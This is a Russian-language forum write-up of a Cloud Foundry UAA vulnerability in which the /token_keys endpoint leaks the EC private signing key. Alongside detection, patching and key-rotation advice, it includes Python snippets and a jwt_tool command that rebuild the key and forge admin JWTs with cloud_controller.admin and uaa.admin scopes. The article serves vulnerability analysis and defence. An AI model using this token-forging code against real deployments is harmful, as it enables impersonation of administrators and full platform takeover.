CVSS 10.0, один неаутентифицированный GET-запрос, приватный EC-ключ подписи JWT прямо в теле ответа. CVE-2026-40965 в Cloud Foundry UAA - из тех багов, которые перечитываешь дважды, потому что не веришь. Эндпоинт
/token_keys, который по замыслу раздаёт только публичный ключевой материал для JWT-верификации, в версиях uaa_release v76.12.0 - v78.12.0 отдавал полный приватный компонент эллиптической кривой. Любому желающему. Без аутентификации. Русскоязычных разборов эксплуатации этой уязвимости Cloud Foundry UAA на момент публикации нет - всё ограничивается пересказом advisory. Ниже - механика бага, пошаговая эксплуатация с конкретными командами, подделка JWT-токенов Cloud Foundry и рекомендации по детекту.Бизнес-логика атаки: зачем злоумышленнику EC-ключ UAA
Cloud Foundry UAA (User Account and Authentication) - центральный OAuth2 UAA сервер авторизации в Cloud Foundry. Каждый JWT-токен, выданный этим сервером, подписан серверным ключом на основе асимметричного шифрования JWT. Микросервисы, Cloud Controller, маршрутизаторы - всё, что принимает решения по авторизации, проверяет подпись токена через публичный ключ JWKS endpoint/token_keys.Компрометация подписывающего ключа - это не «утечка данных». Это полная потеря доверия ко всей системе токенов. Имея приватный ключ, атакующий может:
- Генерировать JWT с произвольными claims:
scope,user_id,authorities,client_id - Имперсонировать любого пользователя или сервисный аккаунт, включая
admin - Обходить авторизацию на всех сервисах, доверяющих UAA-инстансу
- Получить доступ к Cloud Controller API с правами оператора платформы
В терминах MITRE ATT&CK цепочка выглядит так:
- Exploit Public-Facing Application (T1190, Initial Access) - обращение к открытому
/token_keys - Private Keys (T1552.004, Credential Access) - извлечение приватного EC-ключа из ответа
- Forge Web Credentials (T1606, Credential Access) - подделка JWT-токенов Cloud Foundry с произвольными scopes (специализированной суб-техники для JWT в ATT&CK нет; T1606.002 описывает только SAML-токены)
- Cloud Accounts (T1078.004) - использование поддельных токенов для доступа к облачным ресурсам, персистенции и эскалации привилегий
Анатомия CVE-2026-40965 - уязвимость сериализации EC-ключей
Корневая причина - CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor). Классика облачных утечек информации. По данным NVD, уязвимость OAuth2 сервера Cloud Foundry получила CVSS 10.0 (CRITICAL) по двум метрикам:- CVSS 4.0:
AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:L/SC:H/SI:H/SA:L - CVSS 3.1: вектор не опубликован в NVD на момент написания статьи (требует проверки по official advisory)
| Параметр | Значение | Что это значит на практике |
|---|---|---|
| AV:N | Network | Атака через сеть, физический доступ не нужен |
| AC:L | Low | Никаких специальных условий |
| PR:N | None | Аутентификация не требуется |
| UI:N | None | Действие пользователя не нужно |
| VC:H, VI:H | High | Полная компрометация конфиденциальности и целостности |
| SC:H, SI:H (CVSS 4.0) | Changed scope | Каскадный импакт на все зависимые системы |
Суть бага - в логике сериализации ключей при формировании JWK-ответа на endpoint /token_keys. Для RSA-ключей сериализация работает корректно: ответ содержит только публичные компоненты
n (модуль) и e (публичная экспонента). А вот для EC-ключей код ошибочно включает параметр d - приватный скаляр эллиптической кривой - вместе с публичными координатами x и y.Уязвимость специфична именно для логики сериализации EC-ключей. RSA-конфигурации не затронуты - там UAA корректно отсекает приватные компоненты. Кто-то написал сериализацию для RSA, проверил. Потом добавил EC - и забыл отфильтровать
d. Баг-то элементарный, а последствия - на десятку по CVSS.Разница между нормальным и уязвимым JWK-ответом для EC-ключа сводится к одному полю. В нормальном ответе:
kty (EC), crv (P-256 / P-384), x, y, kid, use. В уязвимом - те же поля плюс d, 32-байтное (P-256) или 48-байтное (P-384) значение приватного скаляра в base64url-кодировке. Видите d в ответе - приватный ключ утёк.Затронутые версии (по данным NVD):
uaa_release: v76.12.0 - v78.12.0 включительноCF Deployment: точные границы затронутых версий не опубликованы в NVD на момент написания статьи
Пошаговая эксплуатация CVE-2026-40965
📚 Часть контента скрыта. Этот материал доступен участникам сообщества с рангом One Level или выше
Получить доступ просто — достаточно зарегистрироваться и проявить активность на форуме
Получить доступ просто — достаточно зарегистрироваться и проявить активность на форуме
в ответе указывает на используемую кривую. P-256 (secp256r1) - 32 байта приватного скаляра, P-384 (secp384r1) - 48 байт. Это определяет алгоритм подписи: ES256 для P-256, ES384 для P-384.
Реконструкция ключа и подделка JWT-токенов
Получив JWK с параметрамиcrv, x, y, d, нужно собрать PEM-формат приватного ключа. Ниже - концептуальный пример через python3 с библиотекой jwcrypto (перед использованием проверьте совместимость API с вашей версией):
Python:
from jwcrypto import jwk
# JWK из ответа /token_keys (пример для демонстрации концепции)
jwk_data = {
"kty": "EC", "crv": "P-256",
"x": "<значение_из_ответа>",
"y": "<значение_из_ответа>",
"d": "<значение_из_ответа>"
}
key = jwk.JWK(**jwk_data)
# Извлечение PEM - API export_to_pem различается между версиями jwcrypto.
# Альтернатива: используйте cryptography.hazmat.primitives.asymmetric.ec.EllipticCurvePrivateNumbers
# для сборки PEM из компонентов x, y, d напрямую.
# print(key.export_to_pem(private_key=True, password=None).decode()) # проверьте сигнатуру для вашей версии
openssl ec -in private.pem -text -noout покажет параметры кривой, публичную точку и приватный скаляр.С приватным ключом в PEM-формате подделка JWT-токенов Cloud Foundry сводится к вызову библиотеки. Через
PyJWT:
Python:
import jwt
with open("private.pem") as f:
key = f.read()
token = jwt.encode(
{"user_id": "admin-uuid", "user_name": "admin",
"scope": ["cloud_controller.admin", "uaa.admin"],
"client_id": "cf", "exp": 9999999999},
key, algorithm="ES256",
headers={"kid": "key-1"} # kid из ответа /token_keys
)
/token_keys - подпись сделана настоящим ключом. Через jwt_tool аналогичный результат: python3 jwt_tool.py -S ES256 -pr private.pem -I -pc scope -pv '["cloud_controller.admin"]' <исходный_jwt>.Вот и вся эксплуатация. GET-запрос, три строки на Python, и у тебя токен с
cloud_controller.admin. Никаких цепочек из пяти уязвимостей, никакого фаззинга - просто эндпоинт, который отдаёт то, что не должен.Когда техника НЕ работает
| Условие | Результат |
|---|---|
| UAA использует RSA-ключи | Не уязвим - сериализация RSA корректна |
| uaa_release < v76.12.0 | Не уязвим - баг введён в v76.12.0 |
| uaa_release с исправлением (см. advisory) | Пропатчен |
/token_keys закрыт WAF/firewall | Эксплуатация невозможна |
| Symmetric HMAC-верификация | EC-ключ бесполезен для подписи |
| Ротация ключей после утечки | Токены со старым kid отвергаются |
Нюанс, который часто упускают: даже после установки патча приватный ключ считается скомпрометированным, если уязвимая версия хоть раз была доступна из сети. Патч закрывает утечку, но не решает проблему уже утёкшего ключа. Ротация обязательна.
Обнаружение и мониторинг утечки приватного ключа
Проактивная проверка при облачном пентесте UAA. Запросить/token_keys и проверить наличие d в EC-ключах. Это первый шаг в любом аудите Cloud Foundry с JWT signing key leak в скоупе. Занимает секунд пять.Мониторинг на уровне WAF/reverse proxy. Отслеживать аномальный объём запросов к
/token_keys с внешних IP. Обычно этот эндпоинт запрашивают сервисы внутри платформы; систематические запросы извне - повод для расследования.Детект на уровне JWT-верификации. Мониторить токены с нехарактерными scopes (
cloud_controller.admin у аккаунта, который раньше таких привилегий не имел), аномально длинным exp, или выданные без соответствующей сессии аутентификации в UAA audit log.Историческая справка. UAA уже фигурировал в утечках чувствительных данных по тому же CWE-200. CVE-2018-1192 - SessionID попадал в аудит-логи, позволяя имперсонацию пользователя. CVE-2016-6659 (CWE-287, Improper Authentication) - получение привилегий через доступ к логам UAA и последующее взаимодействие со сконфигурированным SAML-провайдером, что приводило к обходу аутентификации. Паттерн повторяется: инфраструктурные эндпоинты UAA раскрывают больше, чем спроектировано. Третий раз за восемь лет - тенденция, а не случайность.
Патч, ремедиация и ротация ключей
По данным official advisory Cloud Foundry Foundation:- Обновить
uaa_releaseдо версии, указанной в official advisory Cloud Foundry Foundation (конкретная патч-версия требует проверки по advisory) - Обновить
cf-deploymentдо версии, включающей исправленныйuaa_release(см. official advisory) - Ротировать EC-ключи - генерация новой пары:
openssl ecparam -name prime256v1 -genkey -noout -out new_signing_key.pem - Аудит JWT-токенов - проверить логи UAA на аномальные токены, выпущенные в период уязвимости
- Рассмотреть временный переход на RSA-ключи, если немедленное обновление невозможно - RSA-конфигурации не затронуты
bosh releases | grep uaa), запланировать деплоймент с обновлённым релизом (версию патча уточнить по official advisory), сгенерировать новую ключевую пару, обновить BOSH manifest с новым ключом, выполнить bosh deploy, убедиться что /token_keys больше не содержит d, инвалидировать все ранее выданные токены.Тут нет сложной цепочки эксплуатации - баг в сериализации превращает JWKS API в дамп секретов. И вопрос, который после этого не даёт покоя: сколько ещё OAuth2-серверов имеют аналогичные дефекты в обработке EC-ключей, которые никто не проверял? JWKS-эндпоинты считаются «безопасными по определению» - они публичные, они раздают публичные ключи. Но «публичный эндпоинт» ≠ «безопасный эндпоинт», и эта уязвимость Cloud Foundry UAA доказала это с оценкой CVSS 10.0.
При этом EPSS (вероятность эксплуатации за 30 дней) - всего 0.0035 (перцентиль 27.43%), а CISA через Vulnrichment присвоила решение Track, отметив
exploitation: none при automatable: yes и technical impact: total. Разрыв между теоретической критичностью и реальной вероятностью типичен для нишевых платформ - но для тех, кто на Cloud Foundry работает, это не повод расслабляться. По данным IBM X-Force Threat Intelligence Index 2025, среднее время между публикацией CVE и устранением в организации - 29 месяцев. Для тривиально автоматизируемой уязвимости с полным техническим импактом это неприемлемо.Проверка
curl -s https://uaa.<domain>/token_keys | grep '"d"' занимает секунду. А ответ на вопрос «утёк ли подписывающий ключ» определит, будете ли вы следующие месяцы разбирать инцидент с поддельными токенами - или нет.